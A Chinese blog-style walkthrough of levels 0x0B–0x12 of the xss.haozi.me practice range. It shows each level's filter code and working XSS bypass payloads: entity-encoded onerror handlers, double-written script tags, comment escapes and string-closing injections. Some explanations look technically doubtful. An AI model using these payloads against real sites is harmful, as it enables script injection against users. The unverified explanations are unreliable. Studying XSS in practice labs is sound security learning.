当前位置: 首页 > news >正文

xss.haozi.me靶场“0x0B-0x12”关卡:从实体编码到闭合逃逸的实战解析

1. 实体编码绕过的艺术:0x0B关卡实战

在xss.haozi.me靶场的0x0B关卡中,我们遇到了第一个有趣的挑战——大小写敏感性问题。当我第一次尝试用常规的<script>alert(1)</script>进行测试时,发现所有字符都被转换成了大写。查看源码后发现关键逻辑:

function render(input) { input = input.toUpperCase() return `<h1>${input}</h1>` }

这里有个重要知识点:HTML标签不区分大小写,但JavaScript代码是严格区分大小写的。当alert(1)被转换成ALERT(1)时,浏览器会报错说"ALERT is not defined"。我尝试了三种有效绕过方式:

第一种是使用HTML实体编码。通过将字母转换为十六进制实体编码,可以绕过大小写转换:

</h1><img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

第二种是组合使用SVG和Script标签:

</h1><svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;(1)</script>

第三种更巧妙,利用域名不区分大小写的特性:

<script src=https://www.segmentfault.com.haozi.me/j.js></script>

2. script标签的双写魔术:0x0C关卡突破

0x0C关卡在0x0B基础上增加了script过滤,源码如下:

function render(input) { input = input.replace(/script/ig, '') input = input.toUpperCase() return '<h1>' + input + '</h1>' }

这里采用了正则表达式/script/ig进行全局不区分大小写的替换。我尝试了经典的"双写绕过"技术:

<scripscriptt src="https://www.segmentfault.com.haozi.me/j.js"></scripscriptt>

当过滤器删除中间的"script"后,剩下的字符正好能重新组合成完整的script标签。此外,还可以完全避开script标签,使用img的onerror事件:

</h1><img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

3. 注释逃逸的奇技淫巧:0x0D关卡解密

0x0D关卡将用户输入放入了JavaScript注释中:

function render(input) { input = input.replace(/[</"']/g, '') return ` <script> // alert('${input}') </script> ` }

这里的关键是要"逃逸"出注释范围。我通过插入换行符破坏注释结构,再用-->注释掉后续内容:

alert(1) -->

这个payload之所以有效,是因为JavaScript中的单行注释(//)遇到换行符就会终止,而-->在特定位置会被当作注释符号。

4. ſ符号的妙用:0x0E关卡的特殊绕过

0x0E关卡采用了更复杂的过滤:

function render(input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') input = input.toUpperCase() return '<h1>' + input + '</h1>' }

这个过滤器会在标签名的第一个字母前插入下划线。我发现了Unicode字符中的"长s"(ſ)可以完美绕过:

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

ſ在视觉上很像小写的s,但它的Unicode码点是U+017F,不会被识别为常规的s字符。当过滤器处理时,不会在它前面插入下划线,而浏览器却能正确解析为script标签。

5. 编码解码的博弈:0x0F关卡深度剖析

0x0F关卡实现了全面的HTML实体编码:

function render(input) { function escapeHtml(s) { return s.replace(/&/g, '&amp;') .replace(/'/g, '&#39;') .replace(/"/g, '&quot;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/\//g, '&#x2f;') } return `<img src onerror="console.error('${escapeHtml(input)}')">` }

这里的关键洞察是:HTML解析器会先解码实体编码再执行JavaScript。因此可以构造特殊payload:

'); alert(1); //

这个payload先闭合前面的字符串,然后执行我们的代码,最后注释掉剩余部分。也可以利用字符串拼接:

'); alert('1

6. JavaScript上下文的直接注入:0x10-0x12关卡

0x10关卡相对简单,直接将用户输入放入JavaScript上下文:

function render(input) { return ` <script> window.data = ${input} </script> ` }

可以直接注入JavaScript代码:

alert(1)

0x11和0x12关卡则展示了更复杂的JavaScript上下文注入。以0x11为例:

function render(s) { function escapeJs(s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(/</g, '\\74') .replace(/>/g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') .replace(/\0/g, '\\0') } s = escapeJs(s) return ` <script> var url = 'javascript:console.log("${s}")' var a = document.createElement('a') a.href = url document.body.appendChild(a) a.click() </script> ` }

绕过这种严格过滤的关键是理解转义后的字符如何被重新解析。有效payload:

");alert(1);//

0x12关卡类似,但只过滤了双引号:

function escape(s) { s = s.replace(/"/g, '\\"') return '<script>console.log("' + s + '");</script>' }

可以通过转义反斜杠本身来绕过:

\");alert(1);//

这个payload中,第一个反斜杠转义了过滤器添加的反斜杠,使得后面的双引号能够成功闭合字符串。

http://www.jsqmd.com/news/1090122/

相关文章:

  • 两种方法去除图片背景
  • Polyworks脚本开发实战:从粗对齐到精对齐的自动化流程设计
  • 实践复盘:在STM32H7上部署TensorFlow Lite实现实时疲劳检测
  • BilibiliDown:跨平台B站视频下载终极解决方案
  • Vulhub漏洞靶场实战:从Docker部署到CVE-2017-6920漏洞复现
  • 终极艾尔登法环调试工具指南:从新手到模组开发者的完整教程
  • 三步搞定M3U8视频下载:告别分段视频无法保存的技术指南
  • 从CVBS到数字视频流:GM7150解码芯片的BT.656/601接口设计与选型避坑指南
  • 异步FIFO指针同步:从亚稳态到功能稳定的“打两拍”实战解析
  • 熔断器——防止“雪崩效应“的保险丝
  • 深度解析艾尔登法环调试工具:专业级模组开发与游戏调试实战指南
  • 【运筹学】匈牙利法实战:从理论到代码,轻松搞定指派问题
  • 一块SSD卖500元,另一块卖5000元:企业级与消费级SSD的价值差距解析
  • AI驱动UI自动化测试:从视觉定位到智能脚本生成的技术实践
  • 创维E900V22C刷机完整指南:三步打造专业级4K家庭影院系统
  • 特征工程实战:从原始数据到高质量特征的系统性构建方法
  • ATFNet:时间-频率双路协同的可解释长期预测模型
  • SpringBoot中如何优雅处理全局异常
  • 渗透测试全流程实战指南:从信息收集到报告撰写的系统化工程实践
  • 企业级后台管理系统技术痛点与RuoYi-Vue-Pro解决方案:从单体到微服务的架构演进实战
  • TPIC7710EVM评估板实战指南:从硬件解析到软件调试
  • 论文写作工具推荐|4款AI学术辅助工具实测对比,学生/科研人高效写稿方案
  • ChatGPT Plus价格暴涨预警!OpenAI最新调价逻辑全解析(内部定价模型首度曝光)
  • LosslessCut终极指南:5分钟掌握无损视频剪辑的完整工作流
  • MikroTik RouterOS 基础网络配置实战:从零到上网
  • Ryujinx:如何在Windows、macOS和Linux上完美运行Switch游戏的完整指南
  • 3步解决Windows运行库缺失:Visual C++ AIO终极方案
  • 终极YgoMaster PvP对战指南:3步实现游戏王本地多人联机
  • 构建多语言应用:全国城市中英对照JSON数据实战指南
  • 有哪些适合小白的RAP模式泛程序模板